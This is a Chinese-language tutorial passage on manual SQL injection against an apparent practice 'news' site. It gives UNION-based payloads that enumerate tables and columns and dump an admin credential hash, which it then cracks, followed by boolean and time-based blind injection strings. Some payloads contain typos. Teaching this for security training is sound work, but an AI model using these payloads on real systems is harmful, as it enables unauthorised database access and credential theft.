SQL注入

手工普通注入

按注入位置分类

  • GET注入:注入字符在URL参数中
  • POST注入:注入字段在POST提交的数据中,如“姓名”输入框
  • Cookie注入:注入字段在Cookie数据中
  • 其他注入:HTTP请求的其他内容触发的SQL注入漏洞

按参数类型分类

数字型注入:输入参数为整型时,如id、页码等

字符型注入:输入参数为字符串时,如姓名、地址等

  • 字符型注入一般要用单引号或双引号进行闭合

按结果反馈分类

普通SQL注入

  • 网页会展示来自数据库服务器的错误信息,提示SQL语法不正确等
  • 一般在页面上直接显示执行SOL语句的结果

SQL盲注

  • 网页上一般不会直接返回具体的数据库错误或语法错误
  • 一般在页面上不会直接显示SQL语句执行的结果

普通SQL注入思路

普通SQL注入:执行注入SQL语句将敏感信息展示出来,并进行进一步的操作

  • 判断是否存在注入点(字符型、数字型)
  • 猜解SQL查询语句中的字段数
  • 确定显示的字段位置
  • 获取当前数据库
  • 获取数据库中的表
  • 获取表中的字段名
  • 下载数据(脱库)

操作方法:联合查询、报错注入

SQL盲注思路

SQL盲注不会展现任何数据库报错内容,需要构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间

  • 判断是否存在注入点,数字型、字符型
  • 猜解当前数据库名
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 猜解数据

操作方法:布尔盲注、延时注入

判断是否存在注入点

  • 方法:变换ID参数或加单引号/双引号
  • 依据:根据回显或报错
  • 结论:能否注入? 数字型、字符型(需要闭合)

13.2.1

猜解SOL查询语句中的字段数

数据库中的内容会回显到网页,可以采用联合查询(union select)进行注入

  • 使用order by猜测字段数
  • 使用HackBar辅助操作

13.2.2

确定显示的字段位置

构造联合查询语句

1
?id=-48 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

13.2.3

获取当前数据库

使用database()函数获取当前数据库名称

1
?id=-48 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 -- +

13.2.4

获取数据库中的表

MySQL元数据库information_schema.tables

1
?id=-48 union select 1,2,HEX(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news' -- +

hex(group_concat(table_name))解决数据类型问题

13.2.5

使用Encoding – HexDecode解码

1
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news users

13.2.6

获取表中的字段名

1
?id=-48 union select 1,2,HEX(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='new_users' -- +

13.2.7

使用Encoding – HexDecode解码

1
userid,username,password

13.2.8

下载数据(脱库)

1
?id=-48 union select 1,2,HEX(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news -- +

解码得到:admin:e10adc3949ba59abbe56e057f20f883e

13.2.9

md5解码得到123456

13.2.10

手工SQL盲注

回顾: SQL盲注思路

SQL盲注不会展现任何数据库报错内容,需要构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间

  • 判断是否存在注入点,数字型、字符型
  • 猜解当前数据库名
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 猜解数据

操作方法:布尔盲注、延时注入

判断是否存在注入点(布尔)

构造恒真和恒假语句,判断页面状态

  • 恒真:?id=48 and 1=1
  • 恒假:?id=48 and 1=2

13.2.11

判断是否存在注入点(延时)

构造条件语句,判断是否页面延时

  • 真:?id=48 and if((1=1),sleep(5),1) – +
  • 假:?id=48 and if((1=2),sleep(5),1) – +

13.2.12

猜解当前数据库名(布尔)

猜解数据库长度

  • ?id=48 and length(database())=n – +如n=4

猜解数据库名称第一个字母

  • ?id=48 and ord(substr(database(),1,1))=n – +如n=110,101,119

13.2.13

猜解数据库中的表名

猜解数据库中表的第一个字母

1
?id=48 and ord(substr((selectgroup_concat(table_name) from information_schema.tables where table_schema='news'),1,1))=110 -- +如n=110,101

13.2.14

猜解表中的字段名

猜解表中字段名的所有字母

1
?id=48 and ord(substr((selectgroup_concat(column_name)from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117 -- +如n=117

13.2.15

猜解数据

分别猜解username和password字段中数据

1
?id=48 and ord(substr((selectgroup_concat(username)from news_users),1,1))=97 -- +如n=9100

13.2.16